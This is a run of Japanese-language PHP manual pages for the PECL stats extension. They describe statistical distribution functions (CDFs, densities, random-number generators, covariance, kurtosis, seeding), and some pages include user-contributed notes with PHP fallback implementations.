次の表は、which ごとの戻り値とパラメータを示したものです。 CDF, x, a, b は、この順に、一様分布の累積分布関数、確率変数、下限、上限を表します。

戻り値とパラメータ
which | 戻り値 | par1 | par2 | par3
1 | CDF | x | a | b
2 | x | CDF | a | b
3 | a | x | CDF | b
4 | b | x | CDF | a

パラメータ

par1

第一引数

par2

第二引数

par3

第三引数

which

計算される値を決めるフラグ

返り値

which によって決まる、CDF, x, a, b のいずれかの値を戻します。

User Contributed Notes

There are no user contributed notes for this page.


ワイブル分布のパラメータのいずれかを、その他のパラメータの値から計算する

  • ≪ stats_cdf_uniform
  • stats_covariance ≫
  • PHP Manual
  • 統計 関数
  • ワイブル分布のパラメータのいずれかを、その他のパラメータの値から計算する

stats_cdf_weibull

(PECL stats >= 1.0.0)

stats_cdf_weibull — ワイブル分布のパラメータのいずれかを、その他のパラメータの値から計算する

説明

stats_cdf_weibull ( float $par1 , float $par2 , float $par3 , int $which ) : float

ワイブル分布の累積分布関数、その逆関数、またはパラメータのいずれかを戻します。 戻り値の種類とパラメータ (par1, par2, par3) は which によって決められます。

次の表は、which ごとの戻り値とパラメータを示したものです。 CDF, x, k, lambda は、この順に、ワイブル分布の累積分布関数、確率変数、形状母数、尺度母数を表します。

戻り値とパラメータ
which | 戻り値 | par1 | par2 | par3
1 | CDF | x | k | lambda
2 | x | CDF | k | lambda
3 | k | x | CDF | lambda
4 | lambda | x | CDF | k

パラメータ

par1

第一引数

par2

第二引数

par3

第三引数

which

計算される値を決めるフラグ

返り値

which によって決まる、CDF, x, k, lambda のいずれかの値を戻します。

User Contributed Notes

There are no user contributed notes for this page.


ふたつのデータセットの共分散を計算する

  • ≪ stats_cdf_weibull
  • stats_dens_beta ≫
  • PHP Manual
  • 統計 関数
  • ふたつのデータセットの共分散を計算する

stats_covariance

(PECL stats >= 1.0.0)

stats_covariance — ふたつのデータセットの共分散を計算する

説明

stats_covariance ( array $a , array $b ) : float

a と b の共分散を返します。

パラメータ

a

ひとつめの配列

b

ふたつめの配列

返り値

a と b の共分散。 失敗時は false を返します。

User Contributed Notes

Angel J. Salinas 22-Dec-2015 09:37
// kanniprabu's function is wrong.
// You can check this function with COVARIANCE.P Excel function:

function getCovariance( $valuesA, $valuesB )
{
  $countA = count($valuesA);
  $countB = count($valuesB);
  if ( $countA != $countB ) {
    trigger_error( 'Arrays with different sizes: countA='. $countA .', countB='. $countB, E_USER_WARNING );
    return false;
  }

  if ( $countA < 0 ) {
    trigger_error( 'Empty arrays', E_USER_WARNING );
    return false;
  }

  // Use library function if available
  if ( function_exists( 'stats_covariance' ) ) {
    return stats_covariance( $valuesA, $valuesB );
  }

  $meanA = array_sum( $valuesA ) / floatval( $countA );
  $meanB = array_sum( $valuesB ) / floatval( $countB );
  $add = 0.0;

  for ( $pos = 0; $pos < $countA; $pos++ ) {
    $valueA = $valuesA[ $pos ];
    if ( ! is_numeric( $valueA ) ) {
      trigger_error( 'Not numerical value in array A at position '. $pos .', value='. $valueA, E_USER_WARNING );
      return false;
    }

    $valueB = $valuesB[ $pos ];
    if ( ! is_numeric( $valueB ) ) {
      trigger_error( 'Not numerical value in array B at position '. $pos .', value='. $valueB, E_USER_WARNING );
      return false;
    }

    $difA = $valueA - $meanA;
    $difB = $valueB - $meanB;
    $add += ( $difA * $difB );
  } // for

  return $add / floatval( $countA );
}
kanniprabu at gmail dot com 16-Mar-2013 10:30
<?php
    //Covariance Calculation
    function standard_covariance($aValues,$bValues)
    {
        $a= (array_sum($aValues)*array_sum($bValues))/count($aValues);
        $ret = array();
        for($i=0;$i<count($aValues);$i++)
        {
            $ret[$i]=$aValues[$i]*$bValues[$i];
        }
        $b=(array_sum($ret)-$a)/(count($aValues)-1);
        return (float) $b;
    }
    $aValues=array(3,4,5,7);
    $bValues=array(10,11,13,14);
    echo standard_covariance($aValues,$bValues);
?>


ベータ分布の確率密度関数

  • ≪ stats_covariance
  • stats_dens_cauchy ≫
  • PHP Manual
  • 統計 関数
  • ベータ分布の確率密度関数

stats_dens_beta

(PECL stats >= 1.0.0)

stats_dens_beta — ベータ分布の確率密度関数

説明

stats_dens_beta ( float $x , float $a , float $b ) : float

形状母数 a, b のベータ分布にしたがう確率変数の x における確率密度を返します。

パラメータ

x

確率変数の値

a

形状母数

b

形状母数

返り値

x における確率密度。失敗時は false を返します。

User Contributed Notes

There are no user contributed notes for this page.


コーシー分布の確率密度関数

  • ≪ stats_dens_beta
  • stats_dens_chisquare ≫
  • PHP Manual
  • 統計 関数
  • コーシー分布の確率密度関数

stats_dens_cauchy

(PECL stats >= 1.0.0)

stats_dens_cauchy — コーシー分布の確率密度関数

説明

stats_dens_cauchy ( float $x , float $ave , float $stdev ) : float

位置母数 ave, 尺度母数 stdev のコーシー分布にしたがう確率変数の x における確率密度を返します。

パラメータ

x

確率変数の値

ave

位置母数

stdev

尺度母数

返り値

x における確率密度。失敗時は false を返します。

User Contributed Notes

There are no user contributed notes for this page.


カイ二乗分布の確率密度関数

  • ≪ stats_dens_cauchy
  • stats_dens_exponential ≫
  • PHP Manual
  • 統計 関数
  • カイ二乗分布の確率密度関数

stats_dens_chisquare

(PECL stats >= 1.0.0)

stats_dens_chisquare — カイ二乗分布の確率密度関数

説明

stats_dens_chisquare ( float $x , float $dfr ) : float

自由度 dfr のカイ二乗分布にしたがう確率変数の x における確率密度を返します。

パラメータ

x

確率変数の値

dfr

自由度

返り値

x における確率密度。失敗時は false を返します。

User Contributed Notes

There are no user contributed notes for this page.


指数分布の確率密度関数

  • ≪ stats_dens_chisquare
  • stats_dens_f ≫
  • PHP Manual
  • 統計 関数
  • 指数分布の確率密度関数

stats_dens_exponential

(PECL stats >= 1.0.0)

stats_dens_exponential — 指数分布の確率密度関数

説明

stats_dens_exponential ( float $x , float $scale ) : float

尺度母数 scale の指数分布にしたがう確率変数の x における確率密度を返します。

パラメータ

x

確率変数の値

scale

尺度母数

返り値

x における確率密度。失敗時は false を返します。

User Contributed Notes

There are no user contributed notes for this page.


F 分布の確率密度関数

  • ≪ stats_dens_exponential
  • stats_dens_gamma ≫
  • PHP Manual
  • 統計 関数
  • F 分布の確率密度関数

stats_dens_f

(PECL stats >= 1.0.0)

stats_dens_f — F 分布の確率密度関数

説明

stats_dens_f ( float $x , float $dfr1 , float $dfr2 ) : float

自由度 dfr1, dfr2 の F 分布にしたがう確率変数の x における確率密度を返します。

パラメータ

x

確率変数の値

dfr1

自由度

dfr2

自由度

返り値

x における確率密度。失敗時は false を返します。

User Contributed Notes

There are no user contributed notes for this page.


ガンマ分布の確率密度関数

  • ≪ stats_dens_f
  • stats_dens_laplace ≫
  • PHP Manual
  • 統計 関数
  • ガンマ分布の確率密度関数

stats_dens_gamma

(PECL stats >= 1.0.0)

stats_dens_gamma — ガンマ分布の確率密度関数

説明

stats_dens_gamma ( float $x , float $shape , float $scale ) : float

形状母数 shape, 尺度母数 scale のガンマ分布にしたがう確率変数の x における確率密度を返します。

パラメータ

x

確率変数

shape

形状母数

scale

尺度母数

返り値

x における確率密度。失敗時は false を返します。

User Contributed Notes

There are no user contributed notes for this page.


ラプラス分布の確率密度関数

  • ≪ stats_dens_gamma
  • stats_dens_logistic ≫
  • PHP Manual
  • 統計 関数
  • ラプラス分布の確率密度関数

stats_dens_laplace

(PECL stats >= 1.0.0)

stats_dens_laplace — ラプラス分布の確率密度関数

説明

stats_dens_laplace ( float $x , float $ave , float $stdev ) : float

位置母数 ave, 尺度母数 stdev のラプラス分布にしたがう確率変数の x における確率密度を返します。

パラメータ

x

確率変数の値

ave

位置母数

stdev

尺度母数

返り値

x における確率密度。失敗時は false を返します。

User Contributed Notes

There are no user contributed notes for this page.


ロジスティック分布の確率密度関数

  • ≪ stats_dens_laplace
  • stats_dens_normal ≫
  • PHP Manual
  • 統計 関数
  • ロジスティック分布の確率密度関数

stats_dens_logistic

(PECL stats >= 1.0.0)

stats_dens_logistic — ロジスティック分布の確率密度関数

説明

stats_dens_logistic ( float $x , float $ave , float $stdev ) : float

位置母数 ave, 尺度母数 stdev のロジスティック分布にしたがう確率変数の x における確率密度を返します。

パラメータ

x

確率変数の値

ave

位置母数

stdev

尺度母数

返り値

x における確率密度。失敗時は false を返します。

User Contributed Notes

There are no user contributed notes for this page.


正規分布の確率密度関数

  • ≪ stats_dens_logistic
  • stats_dens_pmf_binomial ≫
  • PHP Manual
  • 統計 関数
  • 正規分布の確率密度関数

stats_dens_normal

(PECL stats >= 1.0.0)

stats_dens_normal — 正規分布の確率密度関数

説明

stats_dens_normal ( float $x , float $ave , float $stdev ) : float

平均 ave, 標準偏差 stdev の正規分布にしたがう確率変数の x における確率密度を返します。

パラメータ

x

確率変数の値

ave

平均

stdev

標準偏差

返り値

x における確率密度。失敗時は false を返します。

User Contributed Notes

Hector 13-Jun-2019 01:13
This functions will be the equivalent for "DISTR.NORM.N" on excel, like an other user said it's for Gaussian normal distribution.

$x as value to analyze
$ave as average
$stdev as deviation
Anonymous 10-Aug-2009 04:12
There's a way to try it out:

<?php
...
echo"<pre>\n";
for($x=-2;$x<=2;$x+=0.1){
  echo"$i; ".stats_dens_normal($x,1,1)."\n";
}
echo"</pre>\n";
?>

Observe the result (to determine yourself), or
save it as "stats_dens_normal.csv",
load it into Open Office and make a graph of it
Anonymous 28-Feb-2009 02:37
I'm not certain that I've figured this one out correctly but it should return the value of a (Gaussian) normal distribution of the given properties at the given location.
$x - the X-Value to request
$ave - the 'expected value' (i.e. location of the peak) for the distribution. For most uses this will just be 0.
$stdev - the standard deviation of the distribution. For most uses this will be 1.


二項分布の確率質量関数

  • ≪ stats_dens_normal
  • stats_dens_pmf_hypergeometric ≫
  • PHP Manual
  • 統計 関数
  • 二項分布の確率質量関数

stats_dens_pmf_binomial

(PECL stats >= 1.0.0)

stats_dens_pmf_binomial — 二項分布の確率質量関数

説明

stats_dens_pmf_binomial ( float $x , float $n , float $pi ) : float

試行回数 n, 成功確率 pi の二項分布にしたがう確率変数の x における確率質量を返します。

パラメータ

x

確率変数の値

n

試行回数

pi

成功確率

返り値

x における確率質量。失敗時は false を返します。

User Contributed Notes

There are no user contributed notes for this page.


超幾何分布の確率質量関数

  • ≪ stats_dens_pmf_binomial
  • stats_dens_pmf_negative_binomial ≫
  • PHP Manual
  • 統計 関数
  • 超幾何分布の確率質量関数

stats_dens_pmf_hypergeometric

(PECL stats >= 1.0.0)

stats_dens_pmf_hypergeometric — 超幾何分布の確率質量関数

説明

stats_dens_pmf_hypergeometric ( float $n1 , float $n2 , float $N1 , float $N2 ) : float

失敗回数 n2, 成功サンプル数 N1, 失敗サンプル数 N2 の超幾何分布にしたがう確率変数の n1 における確率質量を返します。

パラメータ

n1

成功回数

n2

失敗回数

N1

成功サンプル数

N2

失敗サンプル数

返り値

n1 における確率質量。失敗時は false を返します。

User Contributed Notes

brendan at gamblingtec dot com 19-Jun-2019 01:11
You can use this method to work out lottery odds:

/**
* N is the population size OR total balls in the lottery draw
* K is the number of success states in the population OR the number of correct balls drawn from the pool
* n is the number of draws OR the number of times we draw from the pool to get the winning numbers.
*/

$N = 49; //Total balls in the pool
$K = 1; //Successful matches to win

$method = new Hypergeometric($N, $K, $K);
$odds = $method->pmf($K);

return 1/$odds;

//Will return 49


負の二項分布の確率質量関数

  • ≪ stats_dens_pmf_hypergeometric
  • stats_dens_pmf_poisson ≫
  • PHP Manual
  • 統計 関数
  • 負の二項分布の確率質量関数

stats_dens_pmf_negative_binomial

(PECL stats >= 1.0.0)

stats_dens_pmf_negative_binomial — 負の二項分布の確率質量関数

説明

stats_dens_pmf_negative_binomial ( float $x , float $n , float $pi ) : float

成功回数 n, 成功確率 pi の負の二項分布にしたがう確率変数の x における確率質量を返します。

パラメータ

x

確率質量の値

n

成功回数

pi

成功確率

返り値

x における確率質量。失敗時は false を返します。

User Contributed Notes

There are no user contributed notes for this page.


ポアソン分布の確率質量関数

  • ≪ stats_dens_pmf_negative_binomial
  • stats_dens_t ≫
  • PHP Manual
  • 統計 関数
  • ポアソン分布の確率質量関数

stats_dens_pmf_poisson

(PECL stats >= 1.0.0)

stats_dens_pmf_poisson — ポアソン分布の確率質量関数

説明

stats_dens_pmf_poisson ( float $x , float $lb ) : float

母数 lb のポアソン分布にしたがう確率変数の x における確率質量を返します。

パラメータ

x

確率変数の値

lb

母数

返り値

x における確率質量。失敗時は false を返します。

User Contributed Notes

There are no user contributed notes for this page.


t 分布の確率密度関数

  • ≪ stats_dens_pmf_poisson
  • stats_dens_uniform ≫
  • PHP Manual
  • 統計 関数
  • t 分布の確率密度関数

stats_dens_t

(PECL stats >= 1.0.0)

stats_dens_t — t 分布の確率密度関数

説明

stats_dens_t ( float $x , float $dfr ) : float

自由度 dfr の t 分布にしたがう確率変数の x における確率密度を返します。

パラメータ

x

確率変数の値

dfr

自由度

返り値

x における確率密度。失敗時は false を返します。

User Contributed Notes

Anonymous 28-Feb-2009 02:12
This function returns the value of a student-T-distribution with the total area of 1.
$dfr are the degrees of freedom for that distribution (aka k)
$x is the X-Value for which the value should be returned


一様分布の確率密度関数

  • ≪ stats_dens_t
  • stats_dens_weibull ≫
  • PHP Manual
  • 統計 関数
  • 一様分布の確率密度関数

stats_dens_uniform

(PECL stats >= 1.0.0)

stats_dens_uniform — 一様分布の確率密度関数

説明

stats_dens_uniform ( float $x , float $a , float $b ) : float

下限 a, 上限 b の一様分布にしたがう確率変数の x における確率密度を返します。

パラメータ

x

確率変数の値

a

下限

b

上限

返り値

x における確率密度。失敗時は false を返します。

User Contributed Notes

There are no user contributed notes for this page.


ワイブル分布の確率密度関数

  • ≪ stats_dens_uniform
  • stats_harmonic_mean ≫
  • PHP Manual
  • 統計 関数
  • ワイブル分布の確率密度関数

stats_dens_weibull

(PECL stats >= 1.0.0)

stats_dens_weibull — ワイブル分布の確率密度関数

説明

stats_dens_weibull ( float $x , float $a , float $b ) : float

形状母数 a, 尺度母数 b のワイブル分布にしたがう確率変数の x における確率密度を返します。

パラメータ

x

確率変数の値

a

形状母数

b

尺度母数

返り値

x における確率密度。失敗時は false を返します。

User Contributed Notes

There are no user contributed notes for this page.


値の配列の調和平均を返す

  • ≪ stats_dens_weibull
  • stats_kurtosis ≫
  • PHP Manual
  • 統計 関数
  • 値の配列の調和平均を返す

stats_harmonic_mean

(PECL stats >= 1.0.0)

stats_harmonic_mean — 値の配列の調和平均を返す

説明

stats_harmonic_mean ( array $a ) : number

a に含まれる値の調和平均を返します。

パラメータ

a

入力配列

返り値

a に含まれる値の調和平均。 a が空の場合、または、配列ではない場合は false を返します。

User Contributed Notes

Daniel Morris (www.danielxmorris.com) 15-Aug-2008 07:51
I wrote this to calculate harmonic averages in my shares program.  Hopefully this can help someone who doesn't want to use PECL.  The function accepts an unlimited number of arguments without the need to place them into an array, which is better than the way the PECL extension handles the function.

<?php

/**
 *  @author    Daniel Morris
*/
function harmonic () {
    $num_args = func_num_args ();
    for ($i = 0; $i < $num_args; $i++) {
        $sum += 1 / func_get_arg ($i);
    }
    return $num_args / $sum;
}

// Tests

echo harmonic (1, 2, 3, 4, 5);
echo harmonic (-1, 3, 4, 10293);
echo harmonic (-1, -2, -3, -4, -5);

//  2.1897810218978
//  -9.6022389365052
//  -2.1897810218978

?>


配列内のデータの尖度を計算する

  • ≪ stats_harmonic_mean
  • stats_rand_gen_beta ≫
  • PHP Manual
  • 統計 関数
  • 配列内のデータの尖度を計算する

stats_kurtosis

(PECL stats >= 1.0.0)

stats_kurtosis — 配列内のデータの尖度を計算する

説明

stats_kurtosis ( array $a ) : float

a に含まれる値の尖度を返します。

パラメータ

a

入力配列

返り値

a に含まれる値の尖度。 a が空の場合、または、配列ではない場合は false を返します。

User Contributed Notes

Angel J. Salinas 12-Dec-2015 09:35
// If you don't have the php_stats library, you can use this function:
public static function getKurtosis( $values )
{
  $numValues = count( $values );
  if ( $numValues == 0 ) {
    return 0.0;
  }

  // Use function from php_stats library if available
  if ( function_exists( 'stats_kurtosis' ) ) {
    return stats_kurtosis( $values );
  }

  $mean = array_sum( $values ) / floatval( $numValues );
  $add2 = 0.0;
  $add4 = 0.0;

  foreach ( $values as $value ) {
    if ( ! is_numeric( $value ) ) {
      return false;
    }
    $dif = $value - $mean;
    $dif2 = $dif * $dif;
    $add2 += $dif2;
    $add4 += ( $dif2 * $dif2 );
  } // foreach values

  $variance = $add2 / floatval( $numValues );
  return ( $add4 * $numValues ) / ( $add2 * $add2 ) - 3.0;
}


ベータ分布から無作為な値を生成する

  • ≪ stats_kurtosis
  • stats_rand_gen_chisquare ≫
  • PHP Manual
  • 統計 関数
  • ベータ分布から無作為な値を生成する

stats_rand_gen_beta

(PECL stats >= 1.0.0)

stats_rand_gen_beta — ベータ分布から無作為な値を生成する

説明

stats_rand_gen_beta ( float $a , float $b ) : float

パラメータ A および B で表されるベータ分布から、無作為な値を返します。 ベータ分布の確率密度は、0 < x < 1 に対して x^(a-1) * (1-x)^(b-1) / B(a,b) となります。R. C. H. Cheng の手法を用います。

パラメータ

a

形状母数

b

形状母数

返り値

無作為な値

User Contributed Notes

There are no user contributed notes for this page.


カイ二乗分布から無作為な値を生成する

  • ≪ stats_rand_gen_beta
  • stats_rand_gen_exponential ≫
  • PHP Manual
  • 統計 関数
  • カイ二乗分布から無作為な値を生成する

stats_rand_gen_chisquare

(PECL stats >= 1.0.0)

stats_rand_gen_chisquare — カイ二乗分布から無作為な値を生成する

説明

stats_rand_gen_chisquare ( float $df ) : float

自由度 df のカイ二乗分布からの無作為な値を返します。

パラメータ

df

自由度

返り値

無作為な値

User Contributed Notes

There are no user contributed notes for this page.


指数分布から無作為な値を生成する

  • ≪ stats_rand_gen_chisquare
  • stats_rand_gen_f ≫
  • PHP Manual
  • 統計 関数
  • 指数分布から無作為な値を生成する

stats_rand_gen_exponential

(PECL stats >= 1.0.0)

stats_rand_gen_exponential — 指数分布から無作為な値を生成する

説明

stats_rand_gen_exponential ( float $av ) : float

尺度母数 av の指数分布からの無作為な値を返します。

パラメータ

av

尺度母数

返り値

無作為な値

User Contributed Notes

There are no user contributed notes for this page.


F 分布から無作為な値を生成する

  • ≪ stats_rand_gen_exponential
  • stats_rand_gen_funiform ≫
  • PHP Manual
  • 統計 関数
  • F 分布から無作為な値を生成する

stats_rand_gen_f

(PECL stats >= 1.0.0)

stats_rand_gen_f — F 分布から無作為な値を生成する

説明

stats_rand_gen_f ( float $dfn , float $dfd ) : float

分子の自由度が "dfn"、分母の自由度が "dfd" の F (分散比) 分布から、無作為な値を返します。カイ二乗の変量の比を直接生成します。

パラメータ

dfn

分子の自由度

dfd

分母の自由度

返り値

無作為な値

User Contributed Notes

There are no user contributed notes for this page.


low (それ自身は含まない) と high (それ自身は含まない) の間の一様な浮動小数点数値を生成する

  • ≪ stats_rand_gen_f
  • stats_rand_gen_gamma ≫
  • PHP Manual
  • 統計 関数
  • low (それ自身は含まない) と high (それ自身は含まない) の間の一様な浮動小数点数値を生成する

stats_rand_gen_funiform

(PECL stats >= 1.0.0)

stats_rand_gen_funiform — low (それ自身は含まない) と high (それ自身は含まない) の間の一様な浮動小数点数値を生成する

説明

stats_rand_gen_funiform ( float $low , float $high ) : float

low と high の間の一様分布からの無作為な値を返します。

パラメータ

low

下限

high

上限

返り値

無作為な値

User Contributed Notes

There are no user contributed notes for this page.


ガンマ分布から無作為な値を生成する

  • ≪ stats_rand_gen_funiform
  • stats_rand_gen_ibinomial_negative ≫
  • PHP Manual
  • 統計 関数
  • ガンマ分布から無作為な値を生成する

stats_rand_gen_gamma

(PECL stats >= 1.0.0)

stats_rand_gen_gamma — ガンマ分布から無作為な値を生成する

説明

stats_rand_gen_gamma ( float $a , float $r ) : float

密度 (A**R)/Gamma(R) * X**(R-1) * Exp(-A*X) のガンマ分布から、 無作為な値を生成します。

パラメータ

a

ガンマ分布の位置母数 (a > 0)。

r

ガンマ分布の形状母数 (r > 0)。

返り値

無作為な値

User Contributed Notes

There are no user contributed notes for this page.


負の二項分布から無作為な値を生成する

  • ≪ stats_rand_gen_gamma
  • stats_rand_gen_ibinomial ≫
  • PHP Manual
  • 統計 関数
  • 負の二項分布から無作為な値を生成する

stats_rand_gen_ibinomial_negative

(PECL stats >= 1.0.0)

stats_rand_gen_ibinomial_negative — 負の二項分布から無作為な値を生成する

説明

stats_rand_gen_ibinomial_negative ( int $n , float $p ) : int

成功回数 n, 成功確率 p の負の二項分布からの無作為な値を返します。

パラメータ

n

成功回数

p

成功確率

返り値

無作為な値。失敗回数を表します。

User Contributed Notes

There are no user contributed notes for this page.


二項分布から無作為な値を生成する

  • ≪ stats_rand_gen_ibinomial_negative
  • stats_rand_gen_int ≫
  • PHP Manual
  • 統計 関数
  • 二項分布から無作為な値を生成する

stats_rand_gen_ibinomial

(PECL stats >= 1.0.0)

stats_rand_gen_ibinomial — 二項分布から無作為な値を生成する

説明

stats_rand_gen_ibinomial ( int $n , float $pp ) : int

試行回数を n, 各試行で事象の発生する確率を pp とする二項分布からの無作為な値を返します。

パラメータ

n

試行回数

pp

各試行で事象の発生する確率

返り値

無作為な値

User Contributed Notes

There are no user contributed notes for this page.


1 から 2147483562 までの間の無作為な整数値を生成する

  • ≪ stats_rand_gen_ibinomial
  • stats_rand_gen_ipoisson ≫
  • PHP Manual
  • 統計 関数
  • 1 から 2147483562 までの間の無作為な整数値を生成する

stats_rand_gen_int

(PECL stats >= 1.0.0)

stats_rand_gen_int — 1 から 2147483562 までの間の無作為な整数値を生成する

説明

stats_rand_gen_int ( ) : int

1 から 2147483562 までの間の無作為な整数値を返します。

返り値

無作為な整数値

User Contributed Notes

There are no user contributed notes for this page.


ポアソン分布から無作為な値を生成する

  • ≪ stats_rand_gen_int
  • stats_rand_gen_iuniform ≫
  • PHP Manual
  • 統計 関数
  • ポアソン分布から無作為な値を生成する

stats_rand_gen_ipoisson

(PECL stats >= 1.0.0)

stats_rand_gen_ipoisson — ポアソン分布から無作為な値を生成する

説明

stats_rand_gen_ipoisson ( float $mu ) : int

母数 mu のポアソン分布からの無作為な値を返します。

パラメータ

mu

母数

返り値

無作為な値

User Contributed Notes

There are no user contributed notes for this page.


LOW (それ自身を含む) と HIGH (それ自身を含む) の間の一様分布から整数値を生成する

  • ≪ stats_rand_gen_ipoisson
  • stats_rand_gen_noncentral_chisquare ≫
  • PHP Manual
  • 統計 関数
  • LOW (それ自身を含む) と HIGH (それ自身を含む) の間の一様分布から整数値を生成する

stats_rand_gen_iuniform

(PECL stats >= 1.0.0)

stats_rand_gen_iuniform — LOW (それ自身を含む) と HIGH (それ自身を含む) の間の一様分布から整数値を生成する

説明

stats_rand_gen_iuniform ( int $low , int $high ) : int

low (それ自身を含む) と high (それ自身を含む) の間の離散一様分布からの無作為な整数値を返します。

パラメータ

low

下限

high

上限

返り値

無作為な整数値

User Contributed Notes

There are no user contributed notes for this page.


非心カイ二乗分布から無作為な値を生成する

  • ≪ stats_rand_gen_iuniform
  • stats_rand_gen_noncentral_f ≫
  • PHP Manual
  • 統計 関数
  • 非心カイ二乗分布から無作為な値を生成する

stats_rand_gen_noncentral_chisquare

(PECL stats >= 1.0.0)

stats_rand_gen_noncentral_chisquare — 非心カイ二乗分布から無作為な値を生成する

説明

stats_rand_gen_noncentral_chisquare ( float $df , float $xnonc ) : float

自由度 df, 非心度 xnonc の非心カイ二乗分布からの無作為な値を返します。

パラメータ

df

自由度

xnonc

非心度

返り値

無作為な値

User Contributed Notes

There are no user contributed notes for this page.


非心 F 分布から無作為な値を生成する

  • ≪ stats_rand_gen_noncentral_chisquare
  • stats_rand_gen_noncentral_t ≫
  • PHP Manual
  • 統計 関数
  • 非心 F 分布から無作為な値を生成する

stats_rand_gen_noncentral_f

(PECL stats >= 1.0.0)

stats_rand_gen_noncentral_f — 非心 F 分布から無作為な値を生成する

説明

stats_rand_gen_noncentral_f ( float $dfn , float $dfd , float $xnonc ) : float

分子の自由度が dfn, 分母の自由度が dfd, 非心度 xnonc の非心 F 分布からの無作為な値を返します。

パラメータ

dfn

分子の自由度

dfd

分母の自由度

xnonc

非心度

返り値

無作為な値

User Contributed Notes

There are no user contributed notes for this page.


非心 t 分布から無作為な値を生成する

  • ≪ stats_rand_gen_noncentral_f
  • stats_rand_gen_normal ≫
  • PHP Manual
  • 統計 関数
  • 非心 t 分布から無作為な値を生成する

stats_rand_gen_noncentral_t

(PECL stats >= 1.0.0)

stats_rand_gen_noncentral_t — 非心 t 分布から無作為な値を生成する

説明

stats_rand_gen_noncentral_t ( float $df , float $xnonc ) : float

自由度 df, 非心度 xnonc の非心 t 分布からの無作為な値を返します。

パラメータ

df

自由度

xnonc

非心度

返り値

無作為な値

User Contributed Notes

There are no user contributed notes for this page.


正規分布から無作為な値を生成する

  • ≪ stats_rand_gen_noncentral_t
  • stats_rand_gen_t ≫
  • PHP Manual
  • 統計 関数
  • 正規分布から無作為な値を生成する

stats_rand_gen_normal

(PECL stats >= 1.0.0)

stats_rand_gen_normal — 正規分布から無作為な値を生成する

説明

stats_rand_gen_normal ( float $av , float $sd ) : float

平均 av, 標準偏差 sd の正規分布からの無作為な値を返します。

パラメータ

av

平均

sd

標準偏差

返り値

無作為な値

User Contributed Notes

KEINOS 31-May-2020 04:33
Alternative of "stats_rand_gen_normal()".

<?php
/**
 * "Box-Muller transform" based random deviate generator.
 *
 * @ref https://en.wikipedia.org/wiki/Box%E2%80%93Muller_transform
 *
 * @param  float|int $av Average/Mean
 * @param  float|int $sd Standard deviation
 * @return float
 */
if (! function_exists('stats_rand_gen_normal')) {
    function stats_rand_gen_normal($av, $sd): float
    {
        $x = mt_rand() / mt_getrandmax();
        $y = mt_rand() / mt_getrandmax();

        return sqrt(-2 * log($x)) * cos(2 * pi() * $y) * $sd + $av;
    }
}
?>


t 分布から無作為な値を生成する

  • ≪ stats_rand_gen_normal
  • stats_rand_get_seeds ≫
  • PHP Manual
  • 統計 関数
  • t 分布から無作為な値を生成する

stats_rand_gen_t

(PECL stats >= 1.0.0)

stats_rand_gen_t — t 分布から無作為な値を生成する

説明

stats_rand_gen_t ( float $df ) : float

自由度 df の t 分布からの無作為な値を返します。

パラメータ

df

自由度

返り値

無作為な値

User Contributed Notes

There are no user contributed notes for this page.


乱数生成器のシードを取得する

  • ≪ stats_rand_gen_t
  • stats_rand_phrase_to_seeds ≫
  • PHP Manual
  • 統計 関数
  • 乱数生成器のシードを取得する

stats_rand_get_seeds

(PECL stats >= 1.0.0)

stats_rand_get_seeds — 乱数生成器のシードを取得する

説明

stats_rand_get_seeds ( ) : array

乱数生成器の現在のシードを返します。

返り値

ふたつの整数値を含む配列

User Contributed Notes

There are no user contributed notes for this page.


乱数ジェネレータ用のふたつのシードを生成する

  • ≪ stats_rand_get_seeds
  • stats_rand_ranf ≫
  • PHP Manual
  • 統計 関数
  • 乱数ジェネレータ用のふたつのシードを生成する

stats_rand_phrase_to_seeds

(PECL stats >= 1.0.0)

stats_rand_phrase_to_seeds — 乱数ジェネレータ用のふたつのシードを生成する

説明

stats_rand_phrase_to_seeds ( string $phrase ) : array

phrase から乱数ジェネレータ用のふたつのシードを生成します。

パラメータ

phrase

入力フレーズ

返り値

ふたつの整数値を含む配列

User Contributed Notes

There are no user contributed notes for this page.


0 から 1 までの無作為な浮動小数点数を生成する

  • ≪ stats_rand_phrase_to_seeds
  • stats_rand_setall ≫
  • PHP Manual
  • 統計 関数
  • 0 から 1 までの無作為な浮動小数点数を生成する

stats_rand_ranf

(PECL stats >= 1.0.0)

stats_rand_ranf — 0 から 1 までの無作為な浮動小数点数を生成する

説明

stats_rand_ranf ( ) : float

0 から 1 (区間の両端は含まない) までの一様分布からの無作為な浮動小数点数を返します。

返り値

無作為な浮動小数点数

User Contributed Notes

There are no user contributed notes for this page.


乱数生成器のシードを設定する

  • ≪ stats_rand_ranf
  • stats_skew ≫
  • PHP Manual
  • 統計 関数
  • 乱数生成器のシードを設定する

stats_rand_setall

(PECL stats >= 1.0.0)

stats_rand_setall — 乱数生成器のシードを設定する

説明

stats_rand_setall ( int $iseed1 , int $iseed2 ) : void

iseed1 と iseed2 を統計関数で使われる乱数生成器のシードとして設定します。

パラメータ

iseed1

乱数のシードとして使われる値

iseed2

乱数のシードとして使われる値

返り値

戻り値はありません。

User Contributed Notes

geoffreyj dot lee at gmail dot com 29-Aug-2016 06:37
tl;dr - This random number generator is implemented using linear congruential generators. The arguments iseed1 and iseed2 each expect a 32-bit integer.

I can't believe this PECL package has such terrible documentation that I have to dig into the C source code to figure out how to use it.

Documentation from PECL source, lines 246-262 of "com.c" found at:
http://git.php.net/?p=pecl/math/stats.git;a=blob;f=com.c;h=7740ac636969e500254c61697125dfa8857dd715;hb=refs/heads/master

/*
**********************************************************************
void setall(long iseed1,long iseed2)
          SET ALL random number generators
Sets the initial seed of generator 1 to ISEED1 and ISEED2. The
initial seeds of the other generators are set accordingly, and
all generators states are set to these seeds.
This is a transcription from Pascal to Fortran of routine
Set_Initial_Seed from the paper
L'Ecuyer, P. and Cote, S. "Implementing a Random Number Package
with Splitting Facilities." ACM Transactions on Mathematical
Software, 17:98-111 (1991)
                         Arguments
iseed1 -> First of two integer seeds
iseed2 -> Second of two integer seeds
**********************************************************************
*/

Looking further into the referenced paper, we see:

PROCEDURE Set_lnitiaI_Seed (S1, S2 INTEGER);
Resets the initial seed of generator 1 to the values S1 and S2, which must satisfy: 1 <= S1 <= 2147483562 and 1 <= S2 <= 2147483398. The initial seeds of all other generators are recomputed accordingly, and all generator's states are reset to these initial seeds. This procedure is called automatically at the beginning of program execution, with (default) parameter values S1 = 1234567890 and S2 = 123456789.


配列内のデータの歪度を計算する

  • ≪ stats_rand_setall
  • stats_standard_deviation ≫
  • PHP Manual
  • 統計 関数
  • 配列内のデータの歪度を計算する

stats_skew

